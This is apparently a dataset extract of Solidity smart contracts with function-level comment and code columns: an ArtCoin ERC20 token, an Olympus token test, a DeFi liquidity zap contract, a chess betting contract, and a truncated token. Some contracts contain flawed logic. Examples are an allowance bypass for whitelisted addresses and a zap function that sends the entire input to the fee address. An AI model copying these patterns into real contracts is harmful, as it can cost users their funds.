file_name
stringlengths
71
779k
comments
stringlengths
0
29.4k
code_string
stringlengths
20
7.69M
__index_level_0__
int64
2
17.2M
/** *Submitted for verification at Etherscan.io on 2021-07-16 */ // SPDX-License-Identifier: MIT // ---------------------------------------------------------------------------- // ArtCoin Token ERC20 for theArtClub.io // // (c) by Mario, Santa Cruz - España. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- pragma solidity ^0.8.0; interface Art_IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function increaseAllowance(address spender, uint256 addedValue) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function name() external view returns(string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function getTokenPrice() external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Art_ERC20 is Context, Art_IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _name; string private _symbol; address payable owner; mapping (address => bool) public CrowdsToSale; uint public priceEthToken; constructor ( string memory name_, string memory symbol_, uint8 decimals_) { _name = name_; _symbol = symbol_; _decimals = decimals_; owner =payable(msg.sender); priceEthToken = 0.001 ether; } modifier onlyOwner { require(msg.sender == owner); _; } function setTokenPrice(uint priceWeiTokens) public returns (bool esito) { require(msg.sender == owner,"Solo il propritario puo settare il prezzo"); priceEthToken = priceWeiTokens; return true; } function addCrowdsale(address contratto) public returns (bool esito) { require(msg.sender == owner,"Solo il proprietario puo aggiungere un Crowdsale"); CrowdsToSale[contratto]=true; return true; } /* buy Artcoin for using to buy Artworks */ function buyArtcoin( uint tokens) payable public returns (bool success) {// uint amount = msg.value; uint256 sellerBalance = balanceOf(owner); require(tokens <= sellerBalance, "Not enough tokens in the Seller reserve"); require(amount >= priceEthToken * (tokens / (10 ** uint256(_decimals))), "Wrong price Token"); _balances[owner] -= tokens; _balances[msg.sender] += tokens; emit Transfer(owner, msg.sender, tokens); owner.transfer(amount); return true; } function getTokenPrice() external view override returns (uint256){ return priceEthToken; } /* DEFAULT FUNCTIONS*/ function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return _decimals; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address Owner, address spender) public view virtual override returns (uint256) { return _allowances[Owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); if(CrowdsToSale[msg.sender]==false){ uint256 currentAllowance = _allowances[sender][_msgSender()]; require(((currentAllowance >= amount)||(CrowdsToSale[sender]==true)), "Art: transfer amount exceeds allowance "); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } } return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /* USED ONCE ONLY FOR INITIAL SUPPLY */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /* FUNCTION NOT USABLE : ART NEVER WILL BE BURNED function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); } */ function _approve(address Owner, address spender, uint256 amount) internal virtual { require(Owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[Owner][spender] = amount; emit Approval(Owner, spender, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract ArtCoin_Token is Art_ERC20 { //Nome symbol decimal constructor() Art_ERC20("ArtCoin", "ART",10) { uint256 totalSupply = 1000000 * (10 ** uint256(10)); _mint(msg.sender,totalSupply); } }
FUNCTION NOT USABLE : ART NEVER WILL BE BURNED
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); }
2,030,664
// SPDX-License-Identifier: AGPL-3.0 pragma solidity ^0.8.13; import "ds-test/test.sol"; // ds-test import "../OlympusERC20.sol"; import "../OlympusAuthority.sol"; contract OlymppusERC20TokenTest is DSTest { OlympusERC20 internal ohmContract; IOlympusAuthority internal authority; address internal UNAUTHORIZED_USER = address(0x1); function test_erc20() public { authority = new OlympusAuthority( address(this), address(this), address(this), address(this) ); ohmContract = new OlympusERC20(address(authority)); assertEq("Olympus", ohmContract.name()); assertEq("OHM", ohmContract.symbol()); assertEq(9, uint256(ohmContract.decimals())); } function testCannot_mint() public { authority = new OlympusAuthority( address(this), address(this), address(this), UNAUTHORIZED_USER ); ohmContract = new OlympusERC20(address(authority)); // try/catch block pattern copied from https://github.com/Anish-Agnihotri/MultiRaffle/blob/master/src/test/utils/DSTestExtended.sol try ohmContract.mint(address(this), 100) { fail(); } catch Error(string memory error) { // Assert revert error matches expected message assertEq("UNAUTHORIZED", error); } } // Tester will pass it's own parameters, see https://fv.ethereum.org/2020/12/11/symbolic-execution-with-ds-test/ function test_mint(uint256 amount) public { authority = new OlympusAuthority( address(this), address(this), address(this), address(this) ); ohmContract = new OlympusERC20(address(authority)); uint256 supplyBefore = ohmContract.totalSupply(); // TODO look into https://dapphub.chat/channel/dev?msg=HWrPJqxp8BHMiKTbo // ohmContract.setVault(address(this)); //TODO WTF msg.sender doesn't propigate from .dapprc $DAPP_TEST_CALLER config via mint() call, must use this value ohmContract.mint(address(this), amount); assertEq(supplyBefore + amount, ohmContract.totalSupply()); } // Tester will pass it's own parameters, see https://fv.ethereum.org/2020/12/11/symbolic-execution-with-ds-test/ function test_burn(uint256 mintAmount, uint256 burnAmount) public { authority = new OlympusAuthority( address(this), address(this), address(this), address(this) ); ohmContract = new OlympusERC20(address(authority)); uint256 supplyBefore = ohmContract.totalSupply(); // ohmContract.setVault(address(this)); //TODO WTF msg.sender doesn't propigate from .dapprc $DAPP_TEST_CALLER config via mint() call, must use this value ohmContract.mint(address(this), mintAmount); if (burnAmount <= mintAmount) { ohmContract.burn(burnAmount); assertEq( supplyBefore + mintAmount - burnAmount, ohmContract.totalSupply() ); } else { try ohmContract.burn(burnAmount) { fail(); } catch Error(string memory error) { // Assert revert error matches expected message assertEq("ERC20: burn amount exceeds balance", error); } } } }
try/catch block pattern copied from https:github.com/Anish-Agnihotri/MultiRaffle/blob/master/src/test/utils/DSTestExtended.sol Assert revert error matches expected message
function testCannot_mint() public { authority = new OlympusAuthority( address(this), address(this), address(this), UNAUTHORIZED_USER ); ohmContract = new OlympusERC20(address(authority)); try ohmContract.mint(address(this), 100) { fail(); assertEq("UNAUTHORIZED", error); } }
5,439,410
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.1.0/contracts/access/Ownable.sol"; import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v3.1.0/contracts/token/ERC20/SafeERC20.sol"; import "../interfaces/IUniRouter02.sol"; import "../interfaces/IUniPair.sol"; import "../interfaces/IVaultChef.sol"; import "../interfaces/IWETH.sol"; contract Zap is Ownable { /* zapIn | 0.25% fee. Goes from ETH -> LP tokens and return dust. zapInToken | 0.25% fee. Goes from ERC20 token -> LP and returns dust. zapInAndStake | No fee. Goes from ETH -> LP -> Vault and returns dust. zapInTokenAndStake | No fee. Goes from ERC20 token -> LP -> Vault and returns dust. zapOut | No fee. Breaks LP token and trades it back for ETH. zapOutToken | No fee. Breaks LP token and trades it back for desired token. swap | No fee. token for token. Allows us to have a $FOX swap on our site (sitting on top of DFK or Sushi) */ using SafeMath for uint; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ address public WNATIVE; address public vaultChefAddress; address private FEE_TO_ADDR; uint16 FEE_RATE; uint16 MIN_AMT; mapping(address => mapping(address => address)) private tokenBridgeForRouter; event FeeChange(address fee_to, uint16 rate, uint16 min); mapping (address => bool) public useNativeRouter; constructor(address _WNATIVE, address _vaultChefAddress, address feeAddress) public Ownable() { WNATIVE = _WNATIVE; vaultChefAddress = _vaultChefAddress; FEE_TO_ADDR = feeAddress; FEE_RATE = 400; // Math is: fee = amount/FEE_RATE, so 400 = 0.25% MIN_AMT = 1000; } /* ========== External Functions ========== */ receive() external payable {} function zapIn( address _to, address routerAddr, address _recipient, address[] memory path0, address[] memory path1 ) external payable { // from Native to an LP token through the specified router require(uint(msg.value) > MIN_AMT, "INPUT_TOO_LOW"); uint fee = uint(msg.value).div(FEE_RATE); IWETH(WNATIVE).deposit{value: uint(msg.value).sub(fee)}(); _approveTokenIfNeeded(WNATIVE, routerAddr); _swapTokenToLP(WNATIVE, uint(msg.value).sub(fee), _to, _recipient, routerAddr, path0, path1); safeTransferETH(FEE_TO_ADDR, fee); } function zapInToken( address _from, uint amount, address _to, address routerAddr, address _recipient, address[] memory path0, address[] memory path1 ) external { // From an ERC20 to an LP token, through specified router require(amount > MIN_AMT, "INPUT_TOO_LOW"); IERC20(_from).safeTransferFrom(msg.sender, address(this), amount); // we'll need this approval to swap _approveTokenIfNeeded(_from, routerAddr); // Take fee first because _swapTokenToLP will return dust uint fee = uint(amount).div(FEE_RATE); IERC20(_from).safeTransfer(FEE_TO_ADDR, IERC20(_from).balanceOf(address(this))); _swapTokenToLP(_from, amount.sub(fee), _to, _recipient, routerAddr, path0, path1); } function zapInAndStake( address _to, address routerAddr, address _recipient, address[] memory path0, address[] memory path1, uint vaultPid ) external payable { // Also stakes in vault, no fees require(uint(msg.value) > MIN_AMT, "INPUT_TOO_LOW"); (address vaultWant,) = IVaultChef(vaultChefAddress).poolInfo(vaultPid); require(vaultWant == _to, "Wrong wantAddress for vault pid"); IWETH(WNATIVE).deposit{value: uint(msg.value)}(); _approveTokenIfNeeded(WNATIVE, routerAddr); uint lps = _swapTokenToLP(WNATIVE, uint(msg.value), _to, address(this), routerAddr, path0, path1); _approveTokenIfNeeded(_to, vaultChefAddress); IVaultChef(vaultChefAddress).deposit(vaultPid, lps, _recipient); } function zapInTokenAndStake( address _from, uint amount, address _to, address routerAddr, address _recipient, address[] memory path0, address[] memory path1, uint vaultPid ) external { // Also stakes in vault, no fees require(amount > MIN_AMT, "INPUT_TOO_LOW"); (address vaultWant,) = IVaultChef(vaultChefAddress).poolInfo(vaultPid); require(vaultWant == _to, "Wrong wantAddress for vault pid"); IERC20(_from).safeTransferFrom(msg.sender, address(this), amount); _approveTokenIfNeeded(_from, routerAddr); uint lps = _swapTokenToLP(_from, amount, _to, address(this), routerAddr, path0, path1); _approveTokenIfNeeded(_to, vaultChefAddress); IVaultChef(vaultChefAddress).deposit(vaultPid, lps, _recipient); } function zapOut( address _from, uint amount, address routerAddr, address _recipient, address[] memory path0, address[] memory path1) external { // from an LP token to Native through specified router IERC20(_from).safeTransferFrom(msg.sender, address(this), amount); _approveTokenIfNeeded(_from, routerAddr); // get pairs for LP address token0 = IUniPair(_from).token0(); address token1 = IUniPair(_from).token1(); _approveTokenIfNeeded(token0, routerAddr); _approveTokenIfNeeded(token1, routerAddr); // convert both for Native with msg.sender as recipient uint amt0; uint amt1; (amt0, amt1) = IUniRouter02(routerAddr).removeLiquidity(token0, token1, amount, 0, 0, address(this), block.timestamp); _swapTokenForNative(token0, amt0, _recipient, routerAddr, path0); _swapTokenForNative(token1, amt1, _recipient, routerAddr, path1); } function zapOutToken( address _from, uint amount, address _to, address routerAddr, address _recipient, address[] memory path0, address[] memory path1 ) external { // from an LP token to an ERC20 through specified router IERC20(_from).safeTransferFrom(msg.sender, address(this), amount); _approveTokenIfNeeded(_from, routerAddr); address token0 = IUniPair(_from).token0(); address token1 = IUniPair(_from).token1(); _approveTokenIfNeeded(token0, routerAddr); _approveTokenIfNeeded(token1, routerAddr); uint amt0; uint amt1; (amt0, amt1) = IUniRouter02(routerAddr).removeLiquidity(token0, token1, amount, 0, 0, address(this), block.timestamp); if (token0 != _to) { amt0 = _swap(token0, amt0, _to, address(this), routerAddr, path0); } if (token1 != _to) { amt1 = _swap(token1, amt1, _to, address(this), routerAddr, path1); } _returnAssets(_to); } function swapToken( address _from, uint amount, address _to, address routerAddr, address _recipient, address[] memory path ) external { IERC20(_from).safeTransferFrom(msg.sender, address(this), amount); _approveTokenIfNeeded(_from, routerAddr); _swap(_from, amount, _to, _recipient, routerAddr, path); } /* ========== Private Functions ========== */ function _approveTokenIfNeeded(address token, address router) private { if (IERC20(token).allowance(address(this), router) == 0) { IERC20(token).safeApprove(router, type(uint).max); } } function _returnAssets(address token) private { uint256 balance; balance = IERC20(token).balanceOf(address(this)); if (balance > 0) { if (token == WNATIVE) { IWETH(WNATIVE).withdraw(balance); safeTransferETH(msg.sender, balance); } else { IERC20(token).safeTransfer(msg.sender, balance); } } } function _swapTokenToLP( address _from, uint amount, address _to, address recipient, address routerAddr, address[] memory path0, address[] memory path1 ) private returns (uint) { // get pairs for desired lp // we're going to sell 1/2 of _from for each lp token uint amt0 = amount.div(2); uint amt1 = amount.div(2); if (_from != IUniPair(_to).token0()){ // execute swap amt0 = _swap(_from, amount.div(2), IUniPair(_to).token0(), address(this), routerAddr, path0); } if (_from != IUniPair(_to).token1()) { // execute swap amt1 = _swap(_from, amount.div(2), IUniPair(_to).token1(), address(this), routerAddr, path1); } _approveTokenIfNeeded(IUniPair(_to).token0(), routerAddr); _approveTokenIfNeeded(IUniPair(_to).token1(), routerAddr); ( , , uint liquidity) = IUniRouter02(routerAddr).addLiquidity( IUniPair(_to).token0(), IUniPair(_to).token1(), amt0, amt1, 0, 0, recipient, block.timestamp); // Return dust after liquidity is added _returnAssets(IUniPair(_to).token0()); _returnAssets(IUniPair(_to).token1()); return liquidity; } function _swap( address _from, uint amount, address _to, address recipient, address routerAddr, address[] memory path ) private returns (uint) { if (_from == _to) { // Let the swaps handle this logic as well as the path validation return amount; } require(path[0] == _from, 'Bad path'); require(path[path.length - 1] == _to, 'Bad path'); IUniRouter02 router = IUniRouter02(routerAddr); router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, recipient, block.timestamp); return IERC20(path[path.length - 1]).balanceOf(address(this)); } function _swapTokenForNative(address token, uint amount, address recipient, address routerAddr, address[] memory path) private returns (uint) { if (token == WNATIVE) { // Just withdraw and send IWETH(WNATIVE).withdraw(amount); safeTransferETH(recipient, amount); return amount; } IUniRouter02 router = IUniRouter02(routerAddr); router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, recipient, block.timestamp); return IERC20(path[path.length - 1]).balanceOf(address(this)); } function getWantForVault(uint pid) public returns (address) { (address wantAddress,) = IVaultChef(vaultChefAddress).poolInfo(pid); return wantAddress; } /* ========== RESTRICTED FUNCTIONS ========== */ function withdraw(address token) external onlyOwner { if (token == address(0)) { payable(owner()).transfer(address(this).balance); return; } IERC20(token).transfer(owner(), IERC20(token).balanceOf(address(this))); } function setFee(address addr, uint16 rate, uint16 min) external onlyOwner { require(rate >= 25, "FEE TOO HIGH; MAX FEE = 4%"); FEE_TO_ADDR = addr; FEE_RATE = rate; MIN_AMT = min; emit FeeChange(addr, rate, min); } function safeTransferETH(address to, uint256 value) internal { (bool success, ) = to.call{value: value}(new bytes(0)); require(success, 'TransferHelper::safeTransferETH: ETH transfer failed'); } }
Also stakes in vault, no fees
function zapInAndStake( address _to, address routerAddr, address _recipient, address[] memory path0, address[] memory path1, uint vaultPid ) external payable { require(uint(msg.value) > MIN_AMT, "INPUT_TOO_LOW"); (address vaultWant,) = IVaultChef(vaultChefAddress).poolInfo(vaultPid); require(vaultWant == _to, "Wrong wantAddress for vault pid"); _approveTokenIfNeeded(WNATIVE, routerAddr); uint lps = _swapTokenToLP(WNATIVE, uint(msg.value), _to, address(this), routerAddr, path0, path1); _approveTokenIfNeeded(_to, vaultChefAddress); IVaultChef(vaultChefAddress).deposit(vaultPid, lps, _recipient); }
13,074,174
//SPDX-License-Identifier: RahulPanchal-15 pragma solidity ^0.8.4; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; ///@title An ERC20 standard burnable token interface ///@author Rahul Panchal interface IERC20Burnable is IERC20 { function burn(uint256 amount) external; } ///@title Implements a Chess Game ///@author Rahul Panchal ///@notice Perform moves using ether or by using ERC20 token ///@dev Check for bugs contract ChessGame { using SafeMath for uint256; using Address for address payable; enum Result { NA, WinLoss, Draw, Killed } enum Sides { None, White, Black } struct Player { Sides side; uint16 moves; uint256 bid; uint256 cbid; uint256 contribution; } struct SideStruct { address[] players; uint256 pool; uint256 coins; uint256 totalPool; uint256 numberOfPlayers; uint256 reward; uint256 coin_reward; } uint32 public GAME_ID; bool public REWARDED; string public FEN = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1"; uint16 public MAX_CHANCES; uint256 public MIN_COIN_BID; uint256 public MIN_BID; uint256 public UBIQUITO_PRICE; Result public GAME_RESULT = Result.NA; Sides public WINNER = Sides.None; Sides public LOSER = Sides.None; Sides public turn = Sides.White; IERC20Burnable private UBIQUITO; address payable private CHESS_FACTORY; uint256 private GAS_PRICE; uint256 private WINNER_SHARE; uint256 private LOSER_SHARE; uint256 private WINNER_COIN_SHARE; mapping(address => Player) private player; mapping(Sides => SideStruct) private side; event GameResult( address _gameAdress, Result _gameResult, Sides _winner ); event RewardedPlayers(address _gameAddress, Sides _side); constructor( uint32 _gameID, uint16 _maxChances, uint256 _minBid, uint256 _coinMinBid, IERC20Burnable _token, uint256 _tokenPrice, uint256 _gasPrice, uint256 _winnerShare, uint256 _winnerCoinShare, uint256 _loserShare, address payable _chessFactory ) payable { GAME_ID = _gameID; MAX_CHANCES = _maxChances; MIN_BID = _minBid; MIN_COIN_BID = _coinMinBid; UBIQUITO = _token; WINNER_SHARE = _winnerShare; WINNER_COIN_SHARE = _winnerCoinShare; LOSER_SHARE = _loserShare; UBIQUITO_PRICE = _tokenPrice; GAS_PRICE = _gasPrice; CHESS_FACTORY = _chessFactory; } modifier isTrueSide(Sides _side) { Sides _actualPlayerSide = player[msg.sender].side; if (_actualPlayerSide == Sides.None) { player[msg.sender].side = _side; side[_side].players.push(msg.sender); } else { require( _actualPlayerSide == _side, "ChessGame: You cannot change sides!" ); } _; } modifier validBid(uint256 _ethBid, uint256 _coinBid) { require( _ethBid == MIN_BID || _ethBid == (MIN_BID * 5) || _ethBid == (MIN_BID * 10) || _coinBid == MIN_COIN_BID || _coinBid == (MIN_COIN_BID * 5) || _coinBid == (MIN_COIN_BID * 10) , "ChessGame: Invalid Bid!" ); _; } modifier onlyFactory() { require( msg.sender == CHESS_FACTORY, "ChessGame: Only ChessFactory can call this function!" ); _; } modifier hasChancesLeft() { require( player[msg.sender].moves < MAX_CHANCES, "ChessGame: You have played maximum chances!" ); _; } modifier isTrueTurn(Sides _side) { require(_side == turn, "ChessGame: Not your turn!"); _; } modifier inProgress() { require(GAME_RESULT == Result.NA, "ChessGame: Game ended!"); _; } modifier isEnded() { require(GAME_RESULT != Result.NA, "ChessGame: Game in Progress!"); _; } receive() external payable {} fallback() external payable {} ///@notice Gets the pool of a side ///@dev Gets the pool of a side ///@param _side 1:White, 2:Black ///@return Pool of _side function getPool(Sides _side) public view returns (uint256) { return side[_side].pool; } ///@notice Gets the coin pool of a side ///@dev Gets the coin pool of a side ///@param _side 1:White, 2:Black ///@return Coin Pool of _side function getCoins(Sides _side) public view returns (uint256) { return side[_side].coins; } ///@notice Get bids made by a player ///@dev Returns bid and coin bid by a player ///@param _player Address of player ///@return (bid,cbid) function getPlayerBids(address _player) public view returns (uint256,uint256) { uint256 bid = player[_player].bid; uint256 cbid = player[_player].cbid; return (bid,cbid); } ///@notice Rewards all players ///@dev Rewards all players and destroys the contract function sendRewards() private isEnded { rewardPlayersOfSide(Sides.White); emit RewardedPlayers(address(this), Sides.White); rewardPlayersOfSide(Sides.Black); emit RewardedPlayers(address(this), Sides.Black); UBIQUITO.transfer(CHESS_FACTORY,UBIQUITO.balanceOf(address(this))); REWARDED = true; } ///@notice Number of players in a side ///@dev Number of players in a side ///@param _side 1:White, 2:Black ///@return Number of players in _side function getNumberOfPlayers(Sides _side) public view isEnded returns (uint256) { return side[_side].players.length; } ///@notice Side of a player ///@dev Side of a player ///@return Side of the player function getPlayerSide(address _player) public view returns (Sides) { return player[_player].side; } ///@notice Perform a move by bidding a small amount of ether ///@dev Validates the move and adds data to the variables ///@param _result Result of the game ///@param _side Side which is playing ///@param _fen FEN string of the board after the move function performMove( Result _result, Sides _side, uint256 _coins, string memory _move, string memory _fen ) public payable inProgress() validBid(msg.value,_coins) isTrueSide(_side) isTrueTurn(_side) hasChancesLeft() { FEN = _fen; addData(msg.sender, _side, msg.value, _coins); if(_coins >= MIN_COIN_BID){ UBIQUITO.transferFrom(msg.sender, address(this), _coins); } checkResult(_result,_side); } function playerContribution(address _player) public view returns(uint256) { return player[_player].contribution; } ///@dev Rewards all players of the game ///@param _side Side function rewardPlayersOfSide(Sides _side) internal { uint256 recipients = getNumberOfPlayers(_side); uint256 sideReward = side[_side].reward; uint256 totalSideReward = sideReward*recipients; uint256 sideCoinReward = side[_side].coin_reward; uint256 sideTotalPool = side[_side].totalPool; uint8 multiplier = 0; if (_side==WINNER || (WINNER==Sides.None && LOSER==Sides.None)){ multiplier=1; } for (uint256 i = 0; i < recipients; i++) { address payable recipient = payable(side[_side].players[i]); uint256 playerBid = player[recipient].bid * multiplier; uint256 playerCoins = (player[recipient].cbid * multiplier) / 2; uint256 amount = ((totalSideReward * player[recipient].contribution).div(sideTotalPool)) + playerBid; uint256 coinReward = sideReward.div(UBIQUITO_PRICE) + sideCoinReward; uint256 totalCoins = playerCoins + coinReward; UBIQUITO.transfer(recipient, totalCoins); Address.sendValue(recipient, amount); } } ///@dev Computes the rewards for winning and losing sides function computeRewards() private { uint256 loserPool = getPool(LOSER); uint256 loserCoins = getCoins(LOSER); uint256 nWinners = getNumberOfPlayers(WINNER); uint256 nLosers = getNumberOfPlayers(LOSER); uint256 winner_reward = SafeMath.div( loserPool * WINNER_SHARE, (nWinners * 100), "ChessFactory: Error calculating winner reward!" ); uint256 winner_coin_reward = SafeMath.div( loserCoins * WINNER_COIN_SHARE, (nWinners * 100), "ChessFactory: Error calculating winner coin reward!" ); uint256 loser_reward = SafeMath.div( loserPool * LOSER_SHARE, (nLosers * 100), "ChessFactory: Error calculating loser reward!" ); side[WINNER].reward = winner_reward; side[LOSER].reward = loser_reward; side[WINNER].coin_reward = winner_coin_reward; } ///@dev Utility function to separate out the result checking process ///@param _result Result of the game ///@param _side Side function checkResult(Result _result,Sides _side) private { if (_result == Result.NA) { turn = switchTeam(_side); } else { GAME_RESULT = _result; if (_result == Result.WinLoss) { WINNER = _side; LOSER = switchTeam(_side); } emit GameResult( address(this), GAME_RESULT, WINNER ); player[msg.sender].bid += (100548+(44400*(side[Sides.White].numberOfPlayers+side[Sides.Black].numberOfPlayers)))*GAS_PRICE; activateRewardMechanism(true); } } ///@dev Compute rewards, send them and inform about game status. ///@param _computeReward True to compute rewards function activateRewardMechanism(bool _computeReward) public { require(GAME_RESULT!=Result.NA || msg.sender==CHESS_FACTORY,"ChessGame: Invalid Caller!"); if(msg.sender==CHESS_FACTORY){ GAME_RESULT = Result.Killed; } if(_computeReward){ computeRewards(); } sendRewards(); CHESS_FACTORY.call{gas: 100000}(abi.encodeWithSignature("gameOver(uint32)",GAME_ID)); selfdestruct(CHESS_FACTORY); } ///@dev Utility function to add data to variables after a move ///@param _player Address of player ///@param _side Side ///@param _bid Bid in wei ///@param _coin Bid in ERC20 token function addData( address _player, Sides _side, uint256 _bid, uint256 _coin ) internal { player[_player].bid += _bid; player[_player].cbid += _coin; side[_side].pool += _bid; side[_side].coins += _coin; side[_side].totalPool += (_bid + (_coin*UBIQUITO_PRICE)); player[_player].contribution = ((player[_player].cbid*UBIQUITO_PRICE)+player[_player].bid); player[_player].moves++; } ///@dev Utility function to switch sides ///@param _side Side ///@return Opposite Side function switchTeam(Sides _side) internal pure returns (Sides) { if (_side == Sides.Black) { return Sides.White; } else { return Sides.Black; } } }
Rewards all players Rewards all players and destroys the contract
function sendRewards() private isEnded { rewardPlayersOfSide(Sides.White); emit RewardedPlayers(address(this), Sides.White); rewardPlayersOfSide(Sides.Black); emit RewardedPlayers(address(this), Sides.Black); UBIQUITO.transfer(CHESS_FACTORY,UBIQUITO.balanceOf(address(this))); REWARDED = true; }
1,769,530
pragma solidity ^0.4.18; /** * Math operations with safety checks */ contract SafeMath { function safeMult(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract TokenERC20 { function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract CCCTESTToken is SafeMath, TokenERC20{ string public name = "CCCTEST"; string public symbol = "CCCTEST"; uint8 public decimals = 18; uint256 public totalSupply = 4204800; address public owner = 0x0; string public version = "1.0"; bool public locked = false; uint256 public currentSupply; uint256 public tokenRaised = 0; uint256 public tokenExchangeRate = 333; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); /* IssueToken*/ event IssueToken(address indexed to, uint256 value); /* TransferOwnerEther*/ event TransferOwnerEther(address indexed to, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function CCCTESTToken( uint256 initialSupply, string tokenName, string tokenSymbol ) { totalSupply = formatDecimals(initialSupply); // Update total supply balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes currentSupply = totalSupply; symbol = tokenSymbol; // Set the symbol for display purposes owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier validAddress() { require(address(0) != msg.sender); _; } modifier unlocked() { require(!locked); _; } function formatDecimals(uint256 _value) internal returns (uint256 ) { return _value * 10 ** uint256(decimals); } function balanceOf(address _owner) constant returns (uint256 balance) { return balanceOf[_owner]; } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) validAddress unlocked returns (bool success) { require(_value > 0); allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /*Function to check the amount of tokens that an owner allowed to a spender.*/ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowance[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowance to a spender. * approve should be called when allowance[_spender] == 0. To increment * allowance value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) validAddress unlocked public returns (bool success) { allowance[msg.sender][_spender] = SafeMath.safeAdd(allowance[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowance[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowance to a spender. * 